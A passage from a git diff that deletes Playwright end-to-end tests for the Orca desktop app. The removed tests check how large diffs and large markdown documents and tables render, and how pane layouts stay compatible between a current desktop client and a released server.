(performance.now() - startedAt < 30_000) { - await new Promise((resolve) => window.setTimeout(resolve, 50)) - editorCount = document.querySelectorAll('.monaco-diff-editor').length - fallbackVisible = Boolean(document.querySelector('[data-testid="large-diff-fallback"]')) - if ((!expectFallback && editorCount > 0) || (expectFallback && fallbackVisible)) { - await new Promise((resolve) => window.setTimeout(resolve, 1_000)) - rendered = true - break - } - } - - window.clearInterval(timer) - const elapsedMs = performance.now() - startedAt - return { - rendered, - elapsedMs, - maxLagMs, - editorCount, - fallbackVisible, - sampleCount: samples.length, - p95LagMs: samples.length - ? [...samples].sort((a, b) => a - b)[Math.floor(samples.length * 0.95)] - : 0 - } - }, - { - wId: worktreeId, - absolutePath: fixture.absolutePath, - relativePath: fixture.relativePath, - expectFallback - } - ) - - console.log(`large diff measurement ${JSON.stringify(measurement)}`) - expect(measurement.rendered).toBe(true) - expect(measurement.fallbackVisible).toBe(expectFallback) - if (expectFallback) { - expect(measurement.editorCount).toBe(0) - } else { - expect(measurement.editorCount).toBeGreaterThan(0) - } - expect(measurement.maxLagMs).toBeLessThan(1_000) - } finally { - rmSync(fixture.repoPath, { recursive: true, force: true }) - } - }) - - test('opening stale unstaged combined diffs after staging keeps the renderer responsive', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - const fixture = createIsolatedStagedLocaleDiffRepo() - - try { - const worktreeId = await addAndActivateRepo(orcaPage, fixture.repoPath) - const measurement = await orcaPage.evaluate( - async ({ wId, repoPath, expectedPaths }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const status = await window.api.git.status({ worktreePath: repoPath }) - store.getState().setGitStatus(wId, status) - const entries = status.entries.filter((entry) => entry.area === 'staged') - const entryPaths = entries.map((entry) => entry.path) - const missing = expectedPaths.filter((path) => !entryPaths.includes(path)) - if (missing.length > 0) { - throw new Error(`staged locale fixture missing entries: ${missing.join(', ')}`) - } - - // Open staged-snapshot entries as unstaged to reproduce the stale combined diff. - const staleUnstagedEntries = entries.map((entry) => ({ - ...entry, - area: 'unstaged' as const - })) - const intervalMs = 50 - const samples: number[] = [] - let last = performance.now() - let maxLagMs = 0 - const timer = window.setInterval(() => { - const now = performance.now() - const lag = Math.max(0, now - last - intervalMs) - maxLagMs = Math.max(maxLagMs, lag) - samples.push(lag) - last = now - }, intervalMs) - - const startedAt = performance.now() - store.getState().openAllDiffs(wId, repoPath, undefined, 'unstaged', staleUnstagedEntries) - - let editorCount = 0 - let fallbackCount = 0 - try { - while (performance.now() - startedAt < 30_000) { - await new Promise((resolve) => window.setTimeout(resolve, 50)) - editorCount = document.querySelectorAll('.monaco-diff-editor').length - fallbackCount = document.querySelectorAll( - '[data-testid="large-diff-fallback"]' - ).length - if (editorCount + fallbackCount >= Math.min(entries.length, 5)) { - await new Promise((resolve) => window.setTimeout(resolve, 1_000)) - break - } - } - } finally { - window.clearInterval(timer) - } - - const classHits = Array.from( - document.querySelectorAll( - '.monaco-diff-editor .line-insert, .monaco-diff-editor .line-delete, .monaco-diff-editor .char-insert, .monaco-diff-editor .char-delete' - ) - ).length - return { - editorCount, - fallbackCount, - classHits, - maxLagMs, - sampleCount: samples.length, - p95LagMs: samples.length - ? [...samples].sort((a, b) => a - b)[Math.floor(samples.length * 0.95)] - : 0 - } - }, - { wId: worktreeId, repoPath: fixture.repoPath, expectedPaths: fixture.relativePaths } - ) - - console.log(`stale unstaged combined diff measurement ${JSON.stringify(measurement)}`) - expect(measurement.editorCount + measurement.fallbackCount).toBeGreaterThanOrEqual(5) - expect(measurement.classHits).toBeGreaterThan(0) - expect(measurement.maxLagMs).toBeLessThan(1_000) - } finally { - rmSync(fixture.repoPath, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/large-markdown-preview.spec.ts b/tests/e2e/large-markdown-preview.spec.ts deleted file mode 100644 index 827d441bf1b..00000000000 --- a/tests/e2e/large-markdown-preview.spec.ts +++ /dev/null @@ -1,390 +0,0 @@ -import { mkdir, writeFile, rm } from 'node:fs/promises' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { - cleanupMarkdownFixture, - createMarkdownFixture, - expectSettledInViewport, - getActiveWorktreeContext -} from './helpers/markdown-editor-fixture' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const baseline = process.env.ORCA_MARKDOWN_CAPTURE_BASELINE === '1' -const proofDirectory = path.join(process.cwd(), 'validation-screenshots', 'large-markdown') - -function largeDocument(): string { - return ( - `# Large document\n\n[Jump to end](#destination) · [Global reference][later]\n\n` + - `![Local image](preview.svg)\n\n` + - `
Details\n\n**Nested content**\n\n
\n\n` + - `$x^2$\n\n\`\`\`javascript\nconst visible = 42\n\`\`\`\n\n\`\`\`mermaid\ngraph LR\nA[Start] --> B[Finish]\n\`\`\`\n\n${Array.from( - { length: 2000 }, - (_, index) => - `## Section ${index}\n\n${'Readable content with **emphasis** and a reference [link][later]. '.repeat(10)}\n\n` + - '| Name | Value |\n| --- | --- |\n| Row | 42 |\n\n' - ).join('')}# Destination\n\nUniqueEndMarker\n\n[later]: https://example.com\n` - ) -} - -for (const width of [1920, 1280]) { - test(`large preview renders bounded rows with global navigation and Find (${width}px)`, async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup - }, testInfo) => { - await orcaPage.setViewportSize({ width, height: width === 1920 ? 1200 : 720 }) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const context = await getActiveWorktreeContext(orcaPage) - const content = largeDocument() - expect(Buffer.byteLength(content)).toBeGreaterThan(1024 * 1024) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-large-preview', - 'large', - testInfo.workerIndex, - content - ) - const imagePath = path.join(path.dirname(filePath), 'preview.svg') - await writeFile( - imagePath, - '' - ) - registerPostElectronShutdownCleanup(async () => { - await cleanupMarkdownFixture(filePath) - await rm(imagePath, { force: true }) - }) - await mkdir(proofDirectory, { recursive: true }) - orcaPage.on('console', (message) => { - if (message.text().includes('PREVIEW_DIAGNOSTIC')) { - console.log(message.text()) - } - }) - await orcaPage.evaluate(() => { - const OriginalWorker = window.Worker - window.Worker = class extends OriginalWorker { - constructor(...args: ConstructorParameters) { - super(...args) - this.addEventListener('error', (event) => - console.log('PREVIEW_DIAGNOSTIC', event.message) - ) - this.addEventListener('message', (event) => { - if (event.data.type === 'error') { - console.log('PREVIEW_DIAGNOSTIC', event.data.message) - } - }) - } - } - }) - const errors: string[] = [] - orcaPage.on('pageerror', (error) => errors.push(error.message)) - await orcaPage.evaluate(() => { - document.documentElement.dataset.previewMaxTask = '0' - new PerformanceObserver((list) => { - const max = Math.max( - Number(document.documentElement.dataset.previewMaxTask), - ...list.getEntries().map((entry) => entry.duration) - ) - document.documentElement.dataset.previewMaxTask = String(max) - }).observe({ type: 'longtask', buffered: false }) - }) - const started = Date.now() - await orcaPage.evaluate( - ({ filePath, relativePath, worktreeId }) => { - window - .__store!.getState() - .openMarkdownPreview({ filePath, relativePath, worktreeId, language: 'markdown' }) - }, - { - filePath, - relativePath: path.relative(context.rootPath, filePath), - worktreeId: context.worktreeId - } - ) - if (baseline) { - await expect(orcaPage.getByText(/File is larger than the .* preview limit/)).toBeVisible() - await orcaPage.screenshot({ path: path.join(proofDirectory, 'before.png') }) - return - } - const preview = orcaPage.locator('.markdown-preview') - await expect(preview.getByRole('heading', { name: 'Large document', exact: true })).toBeVisible( - { - timeout: 25_000 - } - ) - const elapsed = Date.now() - started - await expect( - preview.getByRole('link', { name: 'Global reference', exact: true }) - ).toHaveAttribute('href', 'https://example.com') - await expect(preview.locator('.hljs')).toBeVisible() - await expect(preview.locator('.katex')).toBeVisible() - await expect(preview.getByText('Nested content', { exact: true })).toBeVisible() - await expect - .poll(() => - preview - .getByRole('img', { name: 'Local image' }) - .evaluate((element) => (element instanceof HTMLImageElement ? element.naturalWidth : 0)) - ) - .toBe(240) - await expect(preview.locator('.mermaid-block svg')).toBeVisible() - const boundedCount = await preview.locator('*').count() - expect(boundedCount).toBeLessThan(4000) - expect(await preview.getByRole('heading', { name: 'Destination', exact: true }).count()).toBe(0) - await orcaPage.screenshot({ path: path.join(proofDirectory, 'after.png') }) - const annotatedHeading = preview.locator('[data-annotation-block-key="h1:1-1"]') - await expect(annotatedHeading).toBeVisible() - await annotatedHeading.hover() - await annotatedHeading.getByRole('button', { name: 'Add note', exact: true }).click() - const composer = preview.getByPlaceholder('Add note for the AI') - await composer.fill('Review the large document heading') - await preview.getByRole('link', { name: 'Jump to end', exact: true }).click() - await expect(composer).toHaveCount(1) - await composer.press('Enter') - await expect(composer).toHaveCount(0) - - await expect(preview.getByRole('heading', { name: 'Destination', exact: true })).toBeVisible() - await expect(preview.getByText('UniqueEndMarker', { exact: true })).toBeVisible() - await expect(annotatedHeading).toHaveCount(0) - await orcaPage.getByRole('button', { name: 'Jump to first review note', exact: true }).click() - await expect(annotatedHeading).toBeVisible() - await expect( - preview.getByText('Review the large document heading', { exact: true }) - ).toBeVisible() - await preview.getByRole('link', { name: 'Jump to end', exact: true }).click() - await expect(preview.getByText('UniqueEndMarker', { exact: true })).toBeVisible() - await preview.focus() - await orcaPage.keyboard.press(process.platform === 'darwin' ? 'Meta+f' : 'Control+f') - const input = orcaPage.getByRole('textbox', { name: 'Find in markdown preview' }) - await input.fill('UniqueEndMarker') - await expect(orcaPage.locator('.markdown-preview-search-status')).toHaveText('1/1', { - timeout: 25_000 - }) - await expect(preview.getByText('UniqueEndMarker', { exact: true })).toBeVisible() - await orcaPage.getByRole('button', { name: 'Next match', exact: true }).click() - await expect(orcaPage.locator('.markdown-preview-search-status')).toHaveText('1/1') - await input.fill('Section 1500') - await expect(orcaPage.locator('.markdown-preview-search-status')).toHaveText('1/1', { - timeout: 25_000 - }) - await expect(preview.getByRole('heading', { name: 'Section 1500', exact: true })).toBeVisible() - await orcaPage.screenshot({ path: path.join(proofDirectory, 'find-offscreen.png') }) - await preview.evaluate((element) => { - element.scrollTop += 1000 - }) - const manualScroll = await preview.evaluate((element) => element.scrollTop) - await orcaPage.waitForTimeout(500) - expect(await preview.evaluate((element) => element.scrollTop)).toBe(manualScroll) - await expect( - preview.getByRole('heading', { name: 'Section 1500', exact: true }) - ).not.toBeInViewport() - await orcaPage.getByRole('button', { name: 'Close search', exact: true }).click() - expect(await preview.locator('*').count()).toBeLessThan(4000) - await orcaPage.getByRole('button', { name: 'Table of Contents', exact: true }).click() - const toc = orcaPage.getByRole('complementary', { name: 'Table of contents', exact: true }) - await expect(toc.getByRole('button', { name: 'Section 0', exact: true })).toBeVisible() - expect(await toc.locator('.markdown-toc-row').count()).toBeLessThan(100) - await toc.getByRole('button', { name: 'Collapse Large document', exact: true }).click() - await expect(toc.getByRole('button', { name: 'Section 0', exact: true })).toHaveCount(0) - await toc.getByRole('button', { name: 'Destination', exact: true }).click() - await expect(preview.getByRole('heading', { name: 'Destination', exact: true })).toBeVisible() - await toc.getByRole('button', { name: 'Expand Large document', exact: true }).click() - await toc.locator('.markdown-toc-list').evaluate((element) => { - element.scrollTop = element.scrollHeight - }) - await expect(toc.getByRole('button', { name: 'Section 1999', exact: true })).toBeVisible() - await toc.getByRole('button', { name: 'Section 1999', exact: true }).click() - await expect(preview.getByRole('heading', { name: 'Section 1999', exact: true })).toBeVisible() - await orcaPage.evaluate(async () => { - await window.__store!.getState().updateSettings({ theme: 'dark' }) - }) - await expect(preview).toHaveClass(/markdown-dark/) - await orcaPage.screenshot({ path: path.join(proofDirectory, 'toc-dark.png') }) - await orcaPage.getByRole('button', { name: 'File actions', exact: true }).click() - await expect( - orcaPage.getByRole('menuitem', { name: 'Export as PDF', exact: true }) - ).toHaveAttribute('aria-disabled', 'true') - await orcaPage.keyboard.press('Escape') - const smallPath = await createMarkdownFixture( - context, - '.orca-e2e-large-preview', - 'small', - testInfo.workerIndex, - '# Ordinary preview' - ) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(smallPath)) - const restoredHeading = preview.getByRole('heading', { name: 'Section 1999', exact: true }) - await expectSettledInViewport(restoredHeading) - const originalTop = await restoredHeading.evaluate( - (element) => element.getBoundingClientRect().top - ) - await orcaPage.evaluate( - ({ filePath, relativePath, worktreeId }) => { - window - .__store!.getState() - .openMarkdownPreview({ filePath, relativePath, worktreeId, language: 'markdown' }) - }, - { - filePath: smallPath, - relativePath: path.relative(context.rootPath, smallPath), - worktreeId: context.worktreeId - } - ) - await expect( - orcaPage.getByRole('heading', { name: 'Ordinary preview', exact: true }) - ).toBeVisible() - await expect(orcaPage.locator('[data-markdown-virtual-preview]')).toHaveCount(0) - await orcaPage - .locator('[data-tab-id]') - .filter({ hasText: path.basename(filePath) }) - .click() - await expect(preview.getByRole('heading', { name: 'Section 1999', exact: true })).toBeVisible({ - timeout: 25_000 - }) - await expect - .poll(async () => - Math.abs( - (await restoredHeading.evaluate((element) => element.getBoundingClientRect().top)) - - originalTop - ) - ) - .toBeLessThanOrEqual(2) - await orcaPage.setViewportSize({ width, height: 1800 }) - await expect - .poll(() => - preview - .locator('[data-preview-block-loaded]') - .first() - .evaluate((node) => - node instanceof HTMLElement ? Number.parseFloat(node.style.minHeight) : 0 - ) - ) - .toBeGreaterThan(40) - await expect - .poll(() => - preview - .locator('[data-preview-block-loaded]') - .evaluateAll((nodes) => - nodes - .slice(1) - .some( - (node, index) => - node.getBoundingClientRect().top < nodes[index].getBoundingClientRect().bottom - 1 - ) - ) - ) - .toBe(false) - await orcaPage.screenshot({ path: path.join(proofDirectory, `resized-${width}.png`) }) - const beforeRefresh = await restoredHeading.evaluate( - (element) => element.getBoundingClientRect().top - ) - await orcaPage.evaluate( - ({ content }) => { - const preview = document.querySelector('.markdown-preview') - if (!preview) { - throw new Error('Missing preview') - } - document.documentElement.dataset.previewCollapsed = 'false' - const observer = new MutationObserver(() => { - if (!preview.querySelector('[data-markdown-virtual-preview]')) { - document.documentElement.dataset.previewCollapsed = 'true' - } - }) - observer.observe(preview, { childList: true, subtree: true }) - const state = window.__store!.getState() - const file = state.openFiles.find((candidate) => candidate.id === state.activeFileId) - if (!file) { - throw new Error('Missing active file') - } - state.setEditorDraft(file.markdownPreviewSourceFileId ?? file.filePath, content) - }, - { content: content.replace('## Section 1999', '## Updated section 1999') } - ) - const updatedHeading = preview.getByRole('heading', { - name: 'Updated section 1999', - exact: true - }) - await expect(updatedHeading).toBeInViewport({ timeout: 25_000 }) - await expect - .poll(async () => - Math.abs( - (await updatedHeading.evaluate((element) => element.getBoundingClientRect().top)) - - beforeRefresh - ) - ) - .toBeLessThanOrEqual(2) - expect(await orcaPage.evaluate(() => document.documentElement.dataset.previewCollapsed)).toBe( - 'false' - ) - await orcaPage.screenshot({ path: path.join(proofDirectory, `refreshed-${width}.png`) }) - const memory = await electronApp.evaluate(({ app }) => - app - .getAppMetrics() - .filter((entry) => entry.type === 'Tab') - .map((entry) => entry.memory) - ) - const maxTask = await orcaPage.evaluate(() => - Number(document.documentElement.dataset.previewMaxTask) - ) - await writeFile( - path.join(proofDirectory, 'measurements.json'), - JSON.stringify( - { bytes: Buffer.byteLength(content), elapsed, boundedCount, maxTask, memory }, - null, - 2 - ) - ) - expect(errors).toEqual([]) - }) -} - -test('oversized atomic blocks and files keep a usable fallback', async ({ - orcaPage, - registerPostElectronShutdownCleanup -}, testInfo) => { - test.skip(baseline) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const context = await getActiveWorktreeContext(orcaPage) - const paths: string[] = [] - registerPostElectronShutdownCleanup(async () => { - for (const file of paths) { - await cleanupMarkdownFixture(file) - } - }) - for (const [slug, content] of [ - ['atomic', `# Atomic\n\n\`\`\`text\n${'x'.repeat(700_000)}\n\`\`\`\n\n# Still usable\n`], - ['oversize', `# Over limit\n\n${'x'.repeat(8 * 1024 * 1024)}`] - ]) { - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-large-preview', - slug, - testInfo.workerIndex, - content - ) - paths.push(filePath) - await orcaPage.evaluate( - ({ filePath, relativePath, worktreeId }) => { - window - .__store!.getState() - .openMarkdownPreview({ filePath, relativePath, worktreeId, language: 'markdown' }) - }, - { - filePath, - relativePath: path.relative(context.rootPath, filePath), - worktreeId: context.worktreeId - } - ) - if (slug === 'atomic') { - await expect( - orcaPage.getByText('This block is too large to render. Open source view to read it.') - ).toBeVisible({ timeout: 25_000 }) - await expect( - orcaPage.getByRole('heading', { name: 'Still usable', exact: true }) - ).toBeVisible() - } else { - await expect(orcaPage.getByText(/File is larger than the .* preview limit/)).toBeVisible() - await expect(orcaPage.locator('[data-markdown-virtual-preview]')).toHaveCount(0) - } - } -}) diff --git a/tests/e2e/large-markdown-table-preview.spec.ts b/tests/e2e/large-markdown-table-preview.spec.ts deleted file mode 100644 index d6778e9c627..00000000000 --- a/tests/e2e/large-markdown-table-preview.spec.ts +++ /dev/null @@ -1,166 +0,0 @@ -import { mkdir } from 'node:fs/promises' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { - cleanupMarkdownFixture, - createMarkdownFixture, - expectSettledInViewport, - getActiveWorktreeContext -} from './helpers/markdown-editor-fixture' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const proofDirectory = path.join(process.cwd(), 'validation-screenshots', 'large-markdown-tables') -const baseline = process.env.ORCA_MARKDOWN_CAPTURE_TABLE_BASELINE === '1' - -function largeTable(): string { - return `# Large table\n\n\`\`\`javascript\nconst needle = 42\nconst longLine = "${'x'.repeat(6000)}"; const FarCodeNeedle = 42\n\`\`\`\n\n| Item | Description | Reference |\n| --- | --- | --- |\n${Array.from({ length: 12_000 }, (_, index) => `| Item ${index} | ${'Readable table content. '.repeat(3)}${index === 11_999 ? 'TableEndMarker' : ''} | [Value ${index}][later] |`).join('\n')}\n\n[later]: https://example.com\n` -} - -for (const width of [1920, 1280]) { - test(`large single table keeps Find, aligned columns, review notes, and refresh (${width}px)`, async ({ - orcaPage, - registerPostElectronShutdownCleanup - }, testInfo) => { - await orcaPage.setViewportSize({ width, height: 900 }) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const context = await getActiveWorktreeContext(orcaPage) - const content = largeTable() - expect(Buffer.byteLength(content)).toBeGreaterThan(1024 * 1024) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-large-table-preview', - 'table', - testInfo.workerIndex, - content - ) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(filePath)) - await mkdir(proofDirectory, { recursive: true }) - const errors: string[] = [] - orcaPage.on('pageerror', (error) => errors.push(error.message)) - await orcaPage.evaluate( - ({ filePath, relativePath, worktreeId }) => { - window - .__store!.getState() - .openMarkdownPreview({ filePath, relativePath, worktreeId, language: 'markdown' }) - }, - { - filePath, - relativePath: path.relative(context.rootPath, filePath), - worktreeId: context.worktreeId - } - ) - const preview = orcaPage.locator('.markdown-preview') - await expect(preview.getByRole('heading', { name: 'Large table', exact: true })).toBeVisible({ - timeout: 25_000 - }) - if (baseline) { - await expect( - preview.getByText('This block is too large to render. Open source view to read it.') - ).toBeVisible() - await orcaPage.screenshot({ path: path.join(proofDirectory, `before-${width}.png`) }) - return - } - await expect(preview.getByRole('cell', { name: 'Item 0', exact: true })).toBeVisible() - await expect(preview.getByRole('columnheader', { name: 'Item', exact: true })).toHaveCount(1) - await expect( - preview.getByText('This block is too large to render. Open source view to read it.') - ).toHaveCount(0) - await orcaPage.screenshot({ path: path.join(proofDirectory, `after-${width}.png`) }) - await preview.focus() - await orcaPage.keyboard.press(process.platform === 'darwin' ? 'Meta+f' : 'Control+f') - const input = orcaPage.getByRole('textbox', { name: 'Find in markdown preview' }) - await input.fill('const needle') - await expect(orcaPage.locator('.markdown-preview-search-status')).toHaveText('1/1', { - timeout: 25_000 - }) - await expect(preview.locator('.hljs')).toBeInViewport() - await expect - .poll(() => - orcaPage.evaluate(() => { - const highlight = CSS.highlights.get('markdown-preview-search-active-match') - return highlight ? [...highlight].map((range) => range.toString()).join('') : '' - }) - ) - .toBe('const needle') - await input.fill('FarCodeNeedle') - await expect(orcaPage.locator('.markdown-preview-search-status')).toHaveText('1/1') - await expect - .poll(() => - orcaPage.evaluate(() => { - const range = [...(CSS.highlights.get('markdown-preview-search-active-match') ?? [])][0] - const pre = range?.startContainer.parentElement?.closest('pre') - if (!(range instanceof Range) || !pre || range.toString() !== 'FarCodeNeedle') { - return false - } - const match = range.getBoundingClientRect() - const viewport = pre.getBoundingClientRect() - return match.left >= viewport.left && match.right <= viewport.right - }) - ) - .toBe(true) - await input.fill('TableEndMarker') - await expect(orcaPage.locator('.markdown-preview-search-status')).toHaveText('1/1', { - timeout: 25_000 - }) - const lastCell = preview.getByRole('cell', { name: 'Item 11999', exact: true }) - await expectSettledInViewport(lastCell) - await expect(preview.getByRole('link', { name: 'Value 11999', exact: true })).toHaveAttribute( - 'href', - 'https://example.com' - ) - expect(await preview.locator('tr').count()).toBeLessThan(600) - await preview.hover() - await orcaPage.mouse.wheel(0, -5000) - await expect(lastCell).not.toBeInViewport() - await orcaPage.getByRole('button', { name: 'Next match', exact: true }).click() - await expectSettledInViewport(lastCell) - const annotation = preview - .locator('[data-annotation-block-key]') - .filter({ has: orcaPage.getByRole('cell', { name: 'Item 11999', exact: true }) }) - await annotation.hover() - await annotation.getByRole('button', { name: 'Add note', exact: true }).click() - const composer = preview.getByPlaceholder('Add note for the AI') - await composer.fill('Review the final table rows') - await composer.press('Enter') - await expect(preview.getByText('Review the final table rows', { exact: true })).toBeVisible() - await expectSettledInViewport(lastCell) - await orcaPage.evaluate( - (dark) => window.__store!.getState().updateSettings({ theme: dark ? 'dark' : 'light' }), - width === 1280 - ) - await orcaPage.setViewportSize({ width: width - 120, height: 1100 }) - await expect - .poll(() => - preview.locator('table[data-preview-table-start]').evaluateAll((tables) => { - const widths = tables - .map((table) => table.querySelector('td')?.getBoundingClientRect().width) - .filter((value): value is number => value !== undefined) - return widths.length > 1 && Math.max(...widths) - Math.min(...widths) < 1 - }) - ) - .toBe(true) - // Narrower columns can wrap more lines; Find must still navigate to the final row. - await input.fill('') - await input.fill('TableEndMarker') - await expectSettledInViewport(lastCell) - await orcaPage.screenshot({ path: path.join(proofDirectory, `end-${width}.png`) }) - await input.fill('') - await orcaPage.evaluate( - (content) => { - const state = window.__store!.getState() - const file = state.openFiles.find((entry) => entry.id === state.activeFileId) - if (!file) { - throw new Error('Missing preview file') - } - state.setEditorDraft(file.markdownPreviewSourceFileId ?? file.filePath, content) - }, - content - .replace('TableEndMarker', 'TableEndUpdated') - .replace('| Item 0 |', `| Item 0 ${'x'.repeat(9000)} |`) - ) - await expectSettledInViewport(preview.getByText(/TableEndUpdated/)) - await orcaPage.screenshot({ path: path.join(proofDirectory, `refreshed-${width}.png`) }) - expect(errors).toEqual([]) - }) -} diff --git a/tests/e2e/layout-compat-new-desktop-on-old-server.spec.ts b/tests/e2e/layout-compat-new-desktop-on-old-server.spec.ts deleted file mode 100644 index 03be5cf6c66..00000000000 --- a/tests/e2e/layout-compat-new-desktop-on-old-server.spec.ts +++ /dev/null @@ -1,174 +0,0 @@ -// P3 frozen adapter: compare current desktop split/resize/rename/restart observations against a pinned released headless server. -// Requires ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE (packaged-browser-e2e.yml layout-compat). -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { - launchPackagedServeHost, - packagedExecutable, - packagedExecutableMissing, - PACKAGED_EXECUTABLE_ENV -} from './helpers/packaged-old-orca' -import { - expectLayoutCompatBaseline, - expectReconnectedPaneEcho, - IdLabels, - paneTreeBaseline, - readSessionTabs, - readSettled, - readTerminals, - sessionTabsBaseline -} from './helpers/layout-compat-baseline' -import { setPaneTitleFromTerminalMenu } from './helpers/terminal-pane-title-actions' -import { readTerminalAccessibilityText } from './helpers/terminal-accessibility-tree' -import type { TerminalLayoutSnapshot } from '../../src/shared/workspace-layout/terminal-tab-types' - -const PANE = '.pane[data-leaf-id]:visible' -// The default split-right binding, the same in the pinned release. -const SPLIT_RIGHT = process.platform === 'darwin' ? 'Meta+d' : 'Control+Shift+D' - -/** The shown tab's pane tree and titles as the desktop holds them, and the panes it draws. */ -async function readDesktop(page: Page, labels: IdLabels) { - const held = await page.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeTabId ?? null - const layout: TerminalLayoutSnapshot | null = tabId - ? (state?.terminalLayoutsByTabId[tabId] ?? null) - : null - return { - tabCount: document.querySelectorAll('[data-testid="sortable-tab"]').length, - drawnPaneTitles: [...document.querySelectorAll('.pane-title-text')] - .filter((title) => title.offsetParent !== null) - .map((title) => title.textContent?.trim() ?? ''), - root: layout?.root ?? null, - titlesByLeafId: layout?.titlesByLeafId ?? {} - } - }) - const drawn = await page - .locator(PANE) - .evaluateAll((panes) => panes.map((pane) => pane.dataset.leafId ?? '')) - return { - // A count: a tab's label follows its focused pane's shell title, which differs per machine. - tabs: held.tabCount, - tree: paneTreeBaseline(held.root, labels), - paneTitles: Object.entries(held.titlesByLeafId) - .map(([leafId, title]) => `${labels.label('leaf', leafId)}=${title}`) - .sort(), - drawnPanes: drawn.map((leafId) => labels.label('leaf', leafId)), - drawnPaneTitles: held.drawnPaneTitles - } -} - -/** A pointer drag of the first vertical divider, a quarter of the pane area to the right. */ -async function dragDivider(page: Page): Promise { - const divider = page.locator('.pane-divider.is-vertical:visible').first() - const box = (await divider.boundingBox())! - const x = box.x + box.width / 2 - const y = box.y + box.height / 2 - await page.mouse.move(x, y) - await page.mouse.down() - await page.mouse.move(x + 200, y, { steps: 20 }) - await page.mouse.up() -} - -test.describe('layout compat: current desktop on a released server', () => { - test.skip(packagedExecutableMissing, `${PACKAGED_EXECUTABLE_ENV} must point at a released Orca`) - - test('new-desktop-on-old-server: split, divider drag, pane rename, reconnect', async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(300_000) - const host = await launchPackagedServeHost(packagedExecutable!) - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - await host.client.call('terminal.create', { - worktree: `path:${testRepoPath}`, - title: 'host-made' - }) - const desktop = await launchPairedElectronClient(host.offer, testInfo, 'released server') - try { - const page = desktop.page - let worktreeId = '' - await expect - .poll( - async () => - (worktreeId = await page.evaluate( - (repo) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === repo)?.id ?? '', - testRepoPath - )), - { timeout: 60_000 } - ) - .not.toBe('') - const status = await page.evaluate(async (environmentId) => { - const response = await window.api.runtimeEnvironments.getStatus({ - selector: environmentId, - timeoutMs: 30_000 - }) - return response.ok ? response.result : null - }, desktop.environmentId) - - const labels = new IdLabels() - const steps: unknown[] = [] - const record = async (step: string): Promise => { - const observed = await readSettled(async () => ({ - oldServer: sessionTabsBaseline( - await readSessionTabs(host.client, `path:${testRepoPath}`), - labels - ), - oldServerTerminals: await readTerminals(host.client, `path:${testRepoPath}`, labels), - desktop: await readDesktop(page, labels) - })) - steps.push({ step, ...observed }) - } - - await page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - await expect(page.locator(PANE)).toHaveCount(1, { timeout: 60_000 }) - await record('desktop shows the server workspace') - - const firstLeaf = await page - .locator(PANE) - .first() - .evaluate((pane) => pane.dataset.leafId ?? '') - await page.locator(`${PANE} .xterm`).first().click() - await page.keyboard.press(SPLIT_RIGHT) - await expect(page.locator(PANE)).toHaveCount(2, { timeout: 30_000 }) - await record('desktop splits right') - - await dragDivider(page) - await record('desktop drags the divider') - - await setPaneTitleFromTerminalMenu(page, 'renamed-pane') - await record('desktop renames a pane') - - await host.restart() - await expectReconnectedPaneEcho({ - page, - environmentId: desktop.environmentId, - leafId: firstLeaf, - host: host.client, - worktree: `path:${testRepoPath}`, - // The focused pane is the one typed into; its tab's manager reads that pane. - readDrawn: async () => - readTerminalAccessibilityText( - page, - (await page.evaluate(() => window.__store?.getState().activeTabId)) ?? '' - ) - }) - await record('after the server restarts and the desktop reconnects') - - await expectLayoutCompatBaseline(testInfo, 'new-desktop-on-old-server', { - runtimeProtocolVersion: status?.runtimeProtocolVersion ?? null, - steps - }) - } finally { - await desktop.dispose() - } - } finally { - await host.dispose() - } - }) -}) diff --git a/tests/e2e/layout-compat-old-desktop-on-new-server.spec.ts b/tests/e2e/layout-compat-old-desktop-on-new-server.spec.ts deleted file mode 100644 index 9059bfbb111..00000000000 --- a/tests/e2e/layout-compat-old-desktop-on-new-server.spec.ts +++ /dev/null @@ -1,179 +0,0 @@ -// P3 baseline: pinned released desktop/CLI split and close server panes, then reconnect to current serve after restart. -// Requires ORCA_CROSS_VERSION_PACKAGED_EXECUTABLE (packaged-browser-e2e.yml layout-compat). -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - launchPackagedPairedClient, - packagedExecutable, - packagedExecutableMissing, - PACKAGED_EXECUTABLE_ENV, - runPackagedOrcaCli -} from './helpers/packaged-old-orca' -import { - expectLayoutCompatBaseline, - expectReconnectedPaneEcho, - IdLabels, - publishedLayoutBaseline, - readPublishedLayout, - readSessionTabs, - readSettled, - readTerminals, - sessionTabsBaseline -} from './helpers/layout-compat-baseline' -import type { RuntimeTerminalCreate } from '../../src/shared/terminal/runtime/runtime-terminal-create-contract' - -// Panes of the shown tab; other tabs keep theirs mounted but hidden. -const PANE = '.pane[data-leaf-id]:visible' -const TAB = '[data-testid="sortable-tab"]' -const MOD = process.platform === 'darwin' ? 'Meta' : 'Control' -// The released build's default split-right binding (definitions-core-4.ts at the pinned tag). -const SPLIT_RIGHT = process.platform === 'darwin' ? 'Meta+d' : 'Control+Shift+D' - -function drawnLeaves(page: Page): Promise { - return 